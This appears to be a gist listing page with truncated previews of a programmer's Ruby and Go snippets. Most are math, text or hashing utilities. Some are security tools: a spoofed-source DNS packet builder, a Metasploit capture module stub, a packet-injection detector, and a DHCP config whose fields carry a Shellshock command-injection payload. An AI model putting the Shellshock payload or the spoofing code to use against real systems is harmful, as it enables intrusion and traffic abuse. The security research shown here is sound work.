This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env ruby | |
require 'rubygems' | |
require 'packetfu' | |
dns_query = PacketFu::UDPPacket.new | |
dns_query.ip_saddr = "10.0.2.15" # spoofed source address | |
dns_query.ip_daddr = "8.8.4.4" # DNS server to query | |
dns_query.udp_dst=53 | |
dns_query.udp_src=rand(0xffff-1024) + 1024 |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env ruby | |
def eval_function(function, x_value) | |
function.upcase! | |
function.gsub!(/X/, "#{x_value}") | |
return eval(function) | |
end | |
def riemann_sum(function, delta_x, lower_bound, upper_bound) | |
areas = [] |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
class Array | |
def wrap(n) | |
tmp = self.shift(n) | |
self.replace(self+tmp) | |
return tmp | |
end | |
end |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env ruby | |
require 'digest' | |
require 'securerandom' | |
difficulty = 6 | |
message = "hello" | |
hash = "1"*difficulty | |
random_value = nil |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
## | |
# This module requires Metasploit: http//metasploit.com/download | |
# Current source: https://github.com/rapid7/metasploit-framework | |
## | |
require 'msf/core' | |
class Metasploit3 < Msf::Auxiliary | |
include Msf::Exploit::Capture |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env ruby | |
require 'net/http' | |
require 'resolv' | |
def pad_with_zeros(string) | |
padded = string | |
until padded.length == 8 | |
padded = "0" + padded | |
end |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
option domain-name "() { foo;}; touch /pwn"; | |
option domain-name-servers 8.8.8.8, 8.8.4.4; | |
default-lease-time 600; | |
max-lease-time 7200; | |
option url code 114 = text; | |
option url "() { foo;}; touch /pwn"; | |
# 114.to_s(16) => "72" |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
package main | |
import ( | |
"os" | |
"io" | |
"log" | |
"fmt" | |
) | |
func is_ascii_byte(char byte) bool { |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env ruby | |
require 'httpclient' | |
require 'nokogiri' | |
def part_of_speech(word) | |
parts_of_speech = [] | |
client = HTTPClient.new | |
body = client.get("http://dictionary.reference.com/browse/#{word}?s=t").body |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
package main | |
// | |
// QUANTUMDETECT | |
// | |
// This script identifies two TCP packets that | |
// have identical source ip | |
// have identical source port | |
// have identical destination port | |
// have identical sequence numbers |
OlderNewer